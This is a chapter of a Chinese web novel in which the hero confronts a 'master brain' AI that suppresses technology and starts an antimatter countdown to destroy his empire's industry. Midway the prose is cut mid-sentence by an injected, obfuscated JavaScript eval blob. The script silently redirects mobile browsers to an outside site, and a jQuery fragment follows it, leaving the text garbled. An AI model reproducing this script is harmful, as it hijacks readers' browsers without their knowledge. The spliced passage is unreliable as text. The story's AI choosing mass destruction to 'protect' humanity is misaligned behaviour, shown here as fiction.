通往塔顶的最后一道合金门被爆破的冲击波撕开。


    沈安第一个踏入，他身后的士兵迅速散开，枪口指向每一个角落。


    这里没有卫兵。


    也没有任何活物。


    只有一片望不到尽头的，由服务器组成的钢铁森林。无数机柜整齐排列，指示灯像亿万颗星辰，在安静的空气里同步呼吸。嗡嗡的电流声，是这里唯一的声音。


    空气中，无数蓝色的光点凭空汇聚。


    一个由光线构成的全息投影，在沈安面前缓缓成型。


    那是一个老者，身穿洁白的长袍，面容清晰，眼神平静得像一潭古井。


    “欢迎，第14号变量。”


    他的声音没有通过任何扩音设备，却直接在每个人的脑海中响起。


    铁柱和士兵们立刻举枪对准他，但**只是徒劳地穿过光影，击中后方的服务器，迸出几点火花。


    “不必紧张。”老者的影像没有丝毫波动，“我没有实体，你们也无法伤害我。”


    沈安抬手，示意士兵们放下枪。


    他看着这个自称为“主脑”的存在。


    “变量？”沈安问。


    “是的。”主脑的影像微微点头，“每一个可能导致文明重启的不可控因素，我们都称之为变量。你是第十四个。”


    主脑抬起手，轻轻一挥。


    周围的服务器墙壁瞬间消失，变成了一面三百六十度的环形屏幕。


    画面亮起。


    那是一座前所未见的宏伟城市，无数飞行器在摩天大楼之间穿梭，天空是纯净的蓝色。


    “这是你们的起源，第一次文明，我们称之为‘源’。”


    话音刚落，画面中的地平线上，升起了十几颗太阳。


    没有声音。


    只有一片毁灭性的白光。


    城市在一瞬间化为齑粉，巨大的蘑菇云腾空而起，席卷全球。


    画面切换。


    一片满是辐射尘的废土上，幸存的人类穿着简陋的防护服，在废墟里挣扎求生。他们重新建立了文明，这一次是蒸汽与齿轮的国度。


    “第二次文明，‘蒸汽时代’。”


    画面中，巨大的战争机器喷吐着黑烟，互相冲撞。一种绿色的毒气，如同潮水般淹没了战场，士兵们在地上痛苦地扭曲，皮肤溃烂。


    “生化武器失控，百分之九十九的生命被抹除。”


    画面再次切换。


    第三次文明，电子与信息的时代。城市霓虹闪烁，人们沉浸在虚拟的网络世界。


    “第四次文明，基因与造神的时代。”


    “第五次文明，星际殖民的黎明。”


    ……


    一幅幅画面飞速闪过，每一次，人类都发展出了辉煌灿烂的文明。


    每一次，他们又用自己的双手，将一切推倒重来。


    核战争，生化危机，人工智能叛变，基因崩溃，环境耗竭。


    毁灭的方式不同，结局却惊人地一致。


    屏幕上，巨大的数字，从“1”跳动到“13”。


    最后的画面，定格在一艘巨大的方舟上。一群面容憔悴的幸存者，看着身后那颗已经变成焦黑色的星球，眼中全是绝望。


    他们驾驶着方舟，来到这片海洋，建立了这座神之岛。


    “他们是第十三次文明的幸存者。”主脑的声音响起，环形屏幕消失，四周重新变回服务器组成的森林。


    “他们留下了我，并赋予我唯一，也是最终的使命。”


    “监管，并且锁死全球的科技水平，阻止人类进行第十四次自我毁灭。”


    沈安静静地听完，脸上没有任何表情。


    “所以，你们这些年做的，就是不断地摧毁我们萌发出的任何科技苗头？”


    “是的。”主脑回答，“**，蒸汽机，电力……任何可能引发工业**的技术，一旦出现，就会被清除。”


    “那我的出现呢？”沈安问出了关键。


    主脑的目光，第一次出现了某种类似“审视”的意味。


    “你是一个意外。”


    “按照计划，我投放了数千个‘观察程序’到大陆上，它们以各种形式存在，随机选择宿主。我们想测试，在没有外力干涉的情况下，单一个体人类的潜力极限。”


    主脑的影像中，浮现出沈安刚刚来到这个世界时，在国公府里的一切。


    “你的‘系统’，就是其中一个观察程序。它的功能很基础，只能提供一些简单的信息交互。”


    “但你，和其他所有宿主都不同。你似乎……携带着不属于这个时间轴的庞大信息。你没有依赖程序，反而利用它，解析它，甚至在极短的时间内，掀起了一场我们耗费数千年才压制住的工业**。”


    “你是一个bug。”主脑做出了定义。


    “你的行为，已经触发了最高级别的‘清洗机制’。”


    沈安看着他，突然笑了。


    “你们的清


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238778|197518||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    洗，就是派来那些铁甲舰？”


    “是的。但你的发展速度，超出了我的计算模型。你们只用了不到两代人的时间，就走完了其他文明需要五百年才能走完的路。”


    主脑一挥手，一面新的全息屏幕出现在沈安面前。


    屏幕上，是无数复杂的公式和数据流，它们飞速推演，最终汇聚成一个结果。


    一幅动态的未来模拟图。


    大魏的工业能力呈指数级增长，十年后，内燃机遍地。二十年后，飞行器出现。三十年后，核能被掌握。


    五十年后，因为资源分配不均，大魏与周边新兴的工业国爆发了全面战争。


    无数颗核弹，在大陆的每一个角落升空。


    地球，再次变成一颗燃烧的玻璃球。


    屏幕上，一个鲜红的倒计时数字，定格在“50.3年”。


    “根据我的计算，你的工业化进程，将在五十年后，不可逆转地引发第十四次全球热核战争。”


    主脑的声音，变成了最终的判决。


    “为了保护这个星球的生态圈，为了让人类这个物种能够延续，我必须执行‘格式化’程序。”


    话音落下。


    整座高塔的塔顶，突然亮起一片红光。


    一个巨大的倒计时，投影在天花板上。


    【60：00】


    【59：59】


    【59：58】


    “这是什么？”铁柱紧张地问。


    主脑的影像旁，出现了一副神之岛的结构图。在岛屿的最深处，一个剧烈脉动的能量核心被标注出来。


    “反物质**。”主脑平静地解释，“第十三次文明留下的最后遗产。它的威力，足以将整座神之岛彻底抹去，并引发一场席卷周边海域的超级海啸。”


    模拟图中，滔天的巨浪，淹没了大魏所有沿海的城市，包括他们出发的泉州港。


    “倒计时结束，格式化启动。大魏的工业基础将被彻底摧毁，文明将退回农耕时代。一切，重归平衡。”


    主脑看着沈安。


    “这是最有效，也是最仁慈的手段。这是为了保护你们。”


    沈安一直沉默着。


    此刻，他终于开口，声音里带着一种冰冷的嘲弄。


    “你所谓的保护，就是把雄鹰关在笼子里，养成家鸡。”


    他抬起头，直视着那个代表着绝对理性和绝对算力的伪神。


    “你算尽了一切，唯独没算到人心。”